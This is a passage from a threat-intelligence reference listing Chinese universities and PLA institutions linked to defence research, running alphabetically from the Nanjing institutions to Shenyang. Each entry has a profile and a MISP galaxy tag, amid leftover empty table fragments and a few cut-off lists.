</thead>
</table>

**Nanjing Institute of Information Technology (南京信息技术研究院)**

Nanjing Institute of Information Technology (南京信息技术研究院)

The tag is:  *misp-galaxy:china-defence-universities=*"*Nanjing Institute of Information Technology (南京信息技术研究院)*"

**Table 910. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nanjing Normal University (南京师范大学)**

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence. Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (公安部重点实验室), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (视频GIS实验室) in April 2012. Nanjing Normal University has a close
relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: `misp-galaxy:china-defence-universities="Nanjing Normal University (南京师范大学)"`

Nanjing Tech University (南京理工大学)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university's involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects. NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (军工科研办) within its Depart of Scientific of Research. This office is responsible for the university's defence-related research and coordination. NJTech's School of Materials Science and Engineering (材料科学与工程学) has previously worked on defence-related projects. The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: `misp-galaxy:china-defence-universities="Nanjing Tech University (南京理工大学)"`

Nanjing University (南京大学)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research. In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu's MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel's first research center focusing on
AI in China. The university's rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii旷视科技. Megvii has been blacklisted by the US government over human rights abuses.

The tag is: misp-galaxy:china-defence-universities="Nanjing University (南京大学)"

Table 913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unitracker.aspi.org.au/universities/nanjing-university">https://unitracker.aspi.org.au/universities/nanjing-university</a></td>
</tr>
</tbody>
</table>

**Nanjing University of Aeronautics and Astronautics (南京航空航天大学)**

NUAA is one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. NUAA specialises in aerospace research and works closely with the Chinese military as well as civilian and military aviation companies, including military aircraft manufacturers AVIC and AECC. 21% of the university's graduates in 2018 who found employment were working in the defence sector. The university claims to have participated in nearly all major national aviation projects, including the development of the Chang'e 3 unmanned lunar explorer. NUAA hosts China's only national defence laboratory for helicopter technology. NUAA has attracted controversy for its alleged involvement in the Ministry of State Security’s efforts to steal US aviation technology.

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Aeronautics and Astronautics (南京航空航天大学)"

Table 914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Nanjing University of Posts and Telecommunications (南京邮电大学)**

NJUPT was initially ‘one of the earliest institutions devoted to training communications personnel for the Chinese Communist Party and red army’. Since then, NJUPT has evolved from a training college to a civilian university that offers undergraduate, post-graduate and doctoral degrees in various communications and engineering disciplines. NJUPT holds secret-level security credentials, allowing it to participate in classified defence research projects. Key areas of research include at the university:

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Posts and Telecommunications (南京邮电大学)"

Table 915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Nanjing University of Science and Technology (南京理工大学)

NJU is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector. NJU is a member of the B8 Cooperation Innovation Alliance (B8協同创新联盟), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (兵器). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives. NJU has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Science and Technology (南京理工大学)"

National Defense University (中国人民解放军国防大学)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927. The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National University of Defense Technology.

The tag is: misp-galaxy:china-defence-universities="National Defense University (中国人民解放军国防大学)"

National University of Defense Technology (中国人民解放军国防科技大学)

In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi’an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers. NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic
missiles and China’s Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world’s fastest supercomputer from 2013 to 2016. NUDT’s Tianhe-1A supercomputer is based at Hunan University’s National Supercomputing Center Changsha (国家超级计算长沙中心). For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute’s International Cyber Policy Centre’s October 2018 report ‘Picking flowers, making honey: The Chinese military’s collaboration with foreign universities’ documented and analysed NUDT’s overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT’s leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad. Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT’s ‘Intelligence Center’ sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China’s overseas intelligence activity. NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

The tag is: misp-galaxy:china-defence-universities="National University of Defense Technology (中国人民解放军国防科技大学)"

Table 918. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Naval Command College (中国人民解放军海军指挥学院)**

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (海军战役战术中心实验室) and producing research that looks at operationalising new training and command systems. It is the PLA-N’s last remaining command academic institution.

The tag is: misp-galaxy:china-defence-universities="Naval Command College (中国人民解放军海军指挥学院)"

Table 919. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Naval Petty Officer Academy (中国人民解放军海军士官学校)**

The academy has three main departments focused on training, campus affairs and political work. It has published research on radar jamming.
Naval Research Academy (中国人民解放军海军研究院)

The Naval Research Academy was established in July 2017 following Xi Jinping’s military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering. The Naval Research Academy actively collaborates with civilian universities as part of China's military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi'an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying ‘very close attention to this co-operation with Xi’an Jiaotong University’ in the development and sustainment of naval equipment. The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion. The Naval Research Academy’s involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (水声技术国家重点实验室) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (海洋信息获取与安全工业和信息化部重点实验室) of Harbin Engineering University (HEU). The Naval Research Academy’s Liu Qingyu (刘清宇) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference. Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which ‘elaborated on some of the problems facing the national coastal defence industry’ and ‘suggested areas for future research into marine acoustics.’ Both students and academics from NPU attended Liu’s presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.
**Naval University of Engineering (中国人民解放军海军工程大学)**

NUE is one of the PLA’s five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare. The university is home to two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (舰船综合电力技术国防重点实验室), which was established in 2010 to carry out ‘indigenous research and development’ into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation’s (CSIC) 712th Research Institute. Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as ‘the father of China’s electromagnetic catapult system’ (中国电磁弹射之父) by official Chinese media sources. NUE’s National Defense Technology Key Laboratory of Marine Vibration and Noise (船舶振动噪声国防科技重点实验室) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC’s 701st Research Institute, also known as China Ship Development and Design Center (中国舰船研究设计中心). Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (核动力工程军队重点实验室). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines. Academic departments at the Naval University of Engineering include:

The tag is: **misp-galaxy:china-defence-universities=”Naval University of Engineering (中国人民解放军海军工程大学)”**

*Table 922. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Navy Aviation University (中国人民解放军海军航空大学)**

The Navy Aviation University was established upon the merger of the Naval Aviation Pilot Academy and the Naval Aviation Engineering University during Xi Jinping’s military reforms in 2017. The university conducts research into missile engineering, electrical engineering and automation, navigation engineering as well as air station management engineering and flight vehicle design engineering. Academic articles published by the university have looked at topics such as the PLA-N’s combat system capability and naval aviation management systems.

The tag is: **misp-galaxy:china-defence-universities=”Navy Aviation University (中国人民解放军海军航空大学)”**

*Table 923. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Navy Logistics Academy (中国人民解放军海军勤务学院)

The Navy Logistics Academy is an institution devoted to training naval cadets and officers specialising in logistics. The academy’s core training and research focuses on military studies, management science and economics, while specialist lines of research include logistics command management and military financial auditing. The Center for Naval Analyses (CNA) in Arlington, Virginia have noted that entry into the academy tends to occur at the mid-career level for officers in the PLA-N.

The tag is: `misp-galaxy:china-defence-universities="Navy Logistics Academy (中国人民解放军海军勤务学院)"`

Table 924. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Navy Medical University (中国人民解放军海军军医大学)

The PLA Navy Medical University, formerly known as the Second Military Medical University, was established in 1951 as a university focussed on medical research for the Chinese military.

The tag is: `misp-galaxy:china-defence-universities="Navy Medical University (中国人民解放军海军军医大学)"`

Table 925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Navy Submarine Academy (中国人民解放军海军潜艇学院)

The Navy Submarine Academy is responsible for the training of submariners to crew its conventionally and nuclear-powered submarines. The academy focuses its research on subjects such as electrical and information engineering, combat simulation, underwater acoustic engineering and navigation technology along with weapons systems and launch engineering and underwater ordnance technology. The academy also offers programs in combat tactics and the underwater combat environment. The Navy Submarine Academy pursues research that may contribute to Chinese anti-submarine warfare capabilities through the Underwater Operational Environment Military Key Laboratory (水下作战环境军队重点实验室). The academy also oversees part of the The publication record of researchers from the Navy Submarine Academy also suggests a strong interest in foreign developments in undersea warfare systems. In 2018, the Navy Submarine Academy signed a cooperative agreement with Harbin Engineering University (HEU). The agreement is directed at promoting research collaboration in subjects such as big data fusion, intelligent navigation, underwater acoustic target recognition, and underwater unmanned intelligent control systems.

The tag is: `misp-galaxy:china-defence-universities="Navy Submarine Academy (中国人民解放军海军潜艇学院)"`

Table 926. Table References
Links

**North China Institute of Aerospace Engineering (北华航天工业学院)**

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC). NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China’s missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform. In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: `misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (北华航天工业学院)"`

*Table 927. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**North China University of Science and Technology (华北理工大学)**

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013. ‘Military-use critical materials’ has been designated as a key defence research area at NCST.

The tag is: `misp-galaxy:china-defence-universities="North China University of Science and Technology (华北理工大学)"

*Table 928. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**North University of China (中北大学)**

NUC is a civilian university that specialises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC’s website, ‘Our university has long established
excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.’ Approximately 2000 of its graduates enter the defence industry each year.NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器).

The tag is: `misp-galaxy:china-defence-universities="North University of China (中北大学)"

Table 929. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Northeastern University (东北大学)**

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology. NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research. In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (沈阳飞机设计研究所协同创新联盟), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (国防科技术发展研究院). In 2019, the institute’s senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: `misp-galaxy:china-defence-universities="Northeastern University (东北大学)"

Table 930. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Northwest Institute of Nuclear Technology (西北核技术研究所)**

NINT is one of China’s main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China’s only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry. NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi’an Jiaotong University.
The tag is: `misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (西北核技术研究所)"

Table 931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Northwestern Polytechnical University (西北工业大学)**

The university is one of the ‘Seven Sons of National Defence’ subordinate to MIIT. It is heavily engaged in military research, describing itself as ‘devoted to improving and serving the national defence science and technology industry.’ NWPU’s research focuses on aviation, space and naval technology. Between 2014 and 2018, the university’s School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector. NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company’s largest customer and the company once claimed to produce 90% of China’s drones. The university has close ties to state-owned shipbuilding and aerospace conglomerates.

The tag is: `misp-galaxy:china-defence-universities="Northwestern Polytechnical University (西北工业大学)"

Table 932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Officers College of the PAP (中国人民武装警察部队警官学院)**

The Officers College of the PAP was established as an institution devoted to training officers of China’s paramilitary service in command and engineering disciplines. The college’s research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering. The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan. The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

The tag is: `misp-galaxy:china-defence-universities="Officers College of the PAP (中国人民武装警察部队警官学院)"

Table 933. Table References
PAP NCO College (中国人民武装警察部队士官学校)

The PAP NCO College was established in 2017 following Xi Jinping’s reforms to China’s military education system. The college does not appear to engage in significant levels of defence research and focuses its attention on training enlisted personnel in China’s paramilitary service, the People’s Armed Police.

The tag is: `misp-galaxy:china-defence-universities="PAP NCO College (中国人民武装警察部队士官学校)"`

Peking University (北京大学)

PKU is considered among China’s most prestigious universities with a storied history. It is ranked as one of China’s top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC’s educational initiatives, including as a Class A institution under the Double First-Class University program. PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university’s involvement in defence research. PKU’s Advanced Technology Institute was founded in 2006 to oversee and develop the university’s defence research. Includes several research centres and supervises the university's four major defence laboratories. The institute's research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors. In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (北 大-中国工程物理研究院新体制应 用物理与技术研 究中心). The institution was founded on the basis of the PKU Center for Applied Physics and Technology (北 大应 用物理与技术研 究中心) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU’s report on the centre notes that it will serve China's national defence needs and that CAEP’s deputy director emphasised it should ‘take the path of military-civil fusion’. The joint centre’s honorary director and founding director, He Xiantu, is credited as the developer of China’s first neutron bomb. PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university’s security culture. In 2006, the university received security credentials for participation in classified defence research.

The tag is: `misp-galaxy:china-defence-universities="Peking University (北京大学)"`
People’s Armed Police Command College
(中国人民武装警察指挥学院)

The PAP Command College is an institution devoted to training officers in China’s paramilitary service, the People’s Armed Police, that was established in 1984. The college’s key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program. Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college’s Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: misp-galaxy:china-defence-universities="People’s Armed Police Command College (中国人民武装警察指挥学院)"

People’s Public Security University of China
(中国人民公安大学)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master’s and bachelor’s degree programs. In 1998, it was merged with the Chinese People’s Police University (中国警察大学). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Public Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School. PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory. The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.
The tag is: misp-galaxy:china-defence-universities="People’s Public Security University of China (中国人民公安大学)"

Table 937. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Railway Police College (铁道警察学院)**

The Railway Police College is China’s only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: misp-galaxy:china-defence-universities="Railway Police College (铁道警察学院)"

Table 938. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Renmin University (人民大学)**

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government’s Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: misp-galaxy:china-defence-universities="Renmin University (人民大学)"

Table 939. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Rocket Force Command College (中国人民解放军火箭指挥学院)**

The Rocket Force Command College is the PLA’s premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Command College (中国人民解放军火箭指挥学院)"

324
Rocket Force Research Institute (中国人民解放军火箭军研究院)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (火箭军装备研究院) and the Rocket Force Equipment Academy (火箭军装备研究院). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: `misp-galaxy:china-defence-universities="Rocket Force Research Institute (中国人民解放军火箭军研究院)"`

Rocket Force Sergeant School (中国人民解放军火箭军士官学校)

The Rocket Force Officer College is an institution devoted to training military personnel for China’s tactical and strategic missile forces that was established after Xi Jinping’s military reforms in 2017. The college's focus is on providing technical training to personnel in the PLARF’s missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: `misp-galaxy:china-defence-universities="Rocket Force Sergeant School (中国人民解放军火箭军士官学校)"`

Rocket Force University of Engineering (中国人民解放军火箭军工程大学)

RFUE is the PLA strategic missile force’s leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force. Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (导弹测试与控制虚拟仿真实验教学中心). The university’s key areas of research include:
Shandong University (山东大学)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities’ involvement in defence research and training. SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province’s 10 outstanding defence industry units. SDU collaborates with the Chinese Academy of Engineering Physics, China’s nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

Shandong University of Technology (山东理工大学)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT’s involvement in defence research and links to the defence industry will grow in coming years. SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

Table 944. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Table 945. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Shanghai Jiao Tong University (上海交通大学)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction' agreement between the MOE and SASTIND. The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University. One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a cyber espionage unit that has been implicated in cyber attacks on the United States. SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (高新船舶与深海开发装备协同创新中心), where it has contributed to assisting the PLA Navy’s transition to offshore defense operations.

The tag is: misp-galaxy:china-defence-universities="Shanghai Jiao Tong University (上海交通大学)"

Table 946. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Shanghai University (上海大学)

SHU is engaged in growing levels of defence research. In 2016, the Shanghai Municipal Government and defence industry agency SASTIND agreed to jointly supervise and support its participation in defence research. Shanghai University has begun building up its capability in defence research in areas such as unmanned surface vehicles, materials for missiles, and microwave technology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. Shanghai University's Research Institute of Unmanned Surface Vehicle Engineering researches and produces unmanned surface vessels, some of which are for the China Maritime Safety Administration.

The tag is: misp-galaxy:china-defence-universities="Shanghai University (上海大学)"

Table 947. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
Shenyang Aerospace University (沈阳航空航天大学)

SAU is the only university formally under the supervision of China’s military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China’s military aviation industry is what SAU refers to as its ‘glorious tradition’. Many of China’s military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

The tag is: misp-galaxy:china-defence-universities="Shenyang Aerospace University (沈阳航空航天大学)"

Shenyang Ligong University (沈阳理工大学)

